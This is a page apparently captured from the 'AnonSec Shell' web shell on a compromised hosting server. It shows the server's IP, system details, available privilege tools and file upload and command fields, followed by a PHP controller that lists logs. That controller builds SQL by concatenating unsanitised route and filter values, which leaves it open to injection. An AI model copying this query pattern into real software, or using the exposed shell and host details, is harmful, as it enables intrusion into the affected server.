AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/LogsController.php
<?php

include_once "Controller.php";

include_once __DIR__ . "/../models/LogModel.php";

class LogsController extends Controller {

    protected $model;

    /**
     * @param $ui
     * @param array $_L
     * @param array $config
     * @param $_pd
     */
    public function __construct($ui, $_L, $config, $_pd) {
        parent::__construct($ui, $_L, $config, $_pd);
        $this->model = new logModel();
    }

    public function listAll() {
        $filter = array();
        $filter['date_period'] = "";
        $filter['items_per_page'] = 10;
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            unset($_SESSION['filter']['module_imobles/logs/listAll']);
            if (filter_var(_post('clear_filter'), FILTER_SANITIZE_STRING) == 1) {
                
            } else {
                $_SESSION['filter']['module_imobles/logs/listAll']['type'] = filter_var(_post('type'), FILTER_SANITIZE_STRING);
                $_SESSION['filter']['module_imobles/logs/listAll']['verified'] = filter_var(_post('verified'), FILTER_SANITIZE_STRING);

                $_SESSION['filter']['module_imobles/logs/listAll']['date_period'] = _post('date_period');
                if ($_SESSION['filter']['module_imobles/logs/listAll']['date_period'] == 'interval') {
                    $_SESSION['filter']['module_imobles/logs/listAll']['date_period_ini'] = _postDate('date_period_ini');
                    $_SESSION['filter']['module_imobles/logs/listAll']['date_period_end'] = _postDate('date_period_end');
                } else {
                    $_SESSION['filter']['module_imobles/logs/listAll']['date_period_ini'] = '';
                    $_SESSION['filter']['module_imobles/logs/listAll']['date_period_end'] = '';
                }

                $filter['items_per_page'] = filter_var(_post('items_per_page'), FILTER_SANITIZE_STRING);
            }
        } else {
            if ($i = array_search('items_per_page', $this->routes))
                $filter['items_per_page'] = filter_var($this->routes[$i + 1], FILTER_SANITIZE_STRING);

            if ($i = array_search('type', $this->routes)){
                $_SESSION['filter']['module_imobles/logs/listAll']['type'] = $this->routes[$i+1];
                $filter['type'] = $this->routes[$i+1];
            }
        }

        if (isset($_SESSION['filter']['module_imobles/logs/listAll'])) {
            $itenPp = $filter['items_per_page'];
            $filter = $_SESSION['filter']['module_imobles/logs/listAll'];
            $filter['items_per_page'] = $itenPp;
        } else {
            $filter['type'] = "";
            $filter['verified'] = "all";
            $filter['date_period'] = "";
            $filter['date_period_ini'] = "";
            $filter['date_period_end'] = "";
        }

        $where = '';        
        if (!empty($filter['type'])) {
            $where .= " AND l.type  = '" . $filter['type'] . "' ";
        }

        if (!empty($filter['verified']) && $filter['verified'] != 'all') {
            if ($filter['verified'] == 1) {
                $where .= " AND l.verified  = 1 ";
            } else if ($filter['verified'] == 2) {
                $where .= " AND (l.verified = 0 OR l.verified is null ) ";
            }
        }

        if (isset($filter['date_period']) && $filter['date_period'] != '') {
            if ($filter['date_period'] != 'all') {
                if ($filter['date_period'] == 'day'){
                    $where .= " AND (DATE(l.created_at) = '" . date('Y-m-d') . "') ";
                }
                if ($filter['date_period'] == 'week'){
                    $where .= " AND l.created_at BETWEEN STR_TO_DATE(CONCAT(YEARWEEK(NOW()), 'Monday'), '%x%v %W') AND NOW()";
                }
                if ($filter['date_period'] == 'month'){
                    $where .= " AND (DATE(l.created_at)>='" . date('Y-m-01') . "'  and DATE(l.created_at) <='" . date('Y-m-t') . "' )";
                }
                if ($filter['date_period'] == 'interval') {
                    if ($filter['date_period_ini'] != '') {
                        $where .= " AND (DATE(l.created_at) >= '" . $filter['date_period_ini'] . "') ";
                    }
                    if ($filter['date_period_end'] != '') {
                        $where .= " AND (DATE(l.created_at) <= '" . $filter['date_period_end'] . "')";
                    }
                }
            }
        }

        $sql = ' FROM ' . $this->model->table . ' l'
             . ' WHERE l.deleted_at IS NULL'
             . $where;

        $order = ' ORDER BY l.id desc';

        $select = "Select l.id, l.type, l.params, l.verified, l.created_at, l.updated_at ";

        if ($filter['items_per_page'] != 'all')
            $filter['items_per_page'] = ($filter['items_per_page'] > 0) ? $filter['items_per_page'] : 10;

        $page = isset($this->routes['3']) ? $this->routes['3'] : 1;
// echo $select . $sql . $order; die;
        $paginator = new ModulePaginator($this->model->table, $select . $sql . $order, $filter);


        $logs = $paginator->setItemsPerPage($filter['items_per_page'])
                ->setCurrentPageNumber($page)
                ->run();

        $this->ui->assign('jsvar', '
            _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
            _L[\'Save\'] = \'' . $this->_L['Save'] . '\';
            _L[\'OK\'] = \'' . $this->_L['OK'] . '\';
            _L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
            _L[\'Cancel\'] = \'' . $this->_L['Cancel'] . '\';
            _L[\'Select\'] = \'' . $this->_L['Select'] . '\'; 
            _L[\'View\'] = \'' . $this->_L['View'] . '\'; 
            _L[\'module imobles log set verified\'] = \'' . $this->_L['module imobles log set verified'] . '\'; 
            _L[\'module imobles log select at least one\'] = \'' . $this->_L['module imobles log select at least one'] . '\'; 
            _L[\'module imobles log verified successfull\'] = \'' . $this->_L['module imobles log verified successfull'] . '\'; 
        ');

        $css_arr = array(
            '/../../../application/plugins/module_imobles/assets/css/default',
            's2/css/select2.min',
            'dp/dist/datepicker.min'
        );

        $js_arr = array(
            '/../../../application/plugins/module_imobles/assets/js/logs-list',
            's2/js/select2.min',
            'dp/dist/datepicker.min'
        );

        $assets_css = Asset::css($css_arr, '1');
        $assets_js = Asset::js($js_arr, '2');

        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);

        $this->ui->assign('logs', $logs);
        $this->ui->assign('paginator', $paginator);
        $this->ui->assign('filter', $filter);

        $types = ORM::for_table($this->model->table)
                ->select_expr('distinct (type) as type')
                ->find_many();

        $this->ui->assign('types', $types);
// echo "select count(l.id)  as total" . $sql; die;
        $d = ORM::for_table($this->model->table)
            ->raw_query("select count(l.id) as total, SUM(IF(l.verified = 1, 1, 0)) as verified, SUM(IF(l.verified = 1, 0, 1)) as notVerified" . $sql . "")
            ->find_many();
        $bottomBar = array(
            array('type' => 'int', 'info' => $this->_L['module imobles find total'], 'value' => $d[0]->total),
            array('type' => 'int', 'info' => $this->_L['module imobles log'] . ' ' . $this->_L['module_imobles verify yes'], 'value' => $d[0]->verified),
            array('type' => 'int', 'info' => $this->_L['module imobles log'] . ' ' . $this->_L['module_imobles verify no'], 'value' => $d[0]->notVerified),
        );
        $this->ui->assign('bottomBar', $bottomBar);

        $this->ui->assign('_st', $this->_L['module imobles log list']);
        $this->ui->assign('_include', 'logs/list');
        $this->ui->display('wrapper.tpl');
    }

    public function setVerified(){
        if (empty(@$_POST['id'])) {
            die($this->_L['Id_Required']);
        }
     
        $id = $_POST['id'];

        $log = ORM::for_table($this->model->table)
            ->find_one($id);

        $this->model->setVerified($log);

        r2(U . 'module_imobles/logs/listAll', 's', $this->_L['module imobles log verified successfull']);
    }

    public function setVerifiedSelected() {
        if (empty(@$_POST['id'])) {
            die($this->_L['Id_Required']);
        }
     
        $ids = $_POST['id'];

        $logs = ORM::for_table($this->model->table)
                ->where_in("id", $ids)
                ->find_many();

        foreach($logs as $log){
            $this->model->setVerified($log);
        }
    }

}

Anon7 - 2022
AnonSec Team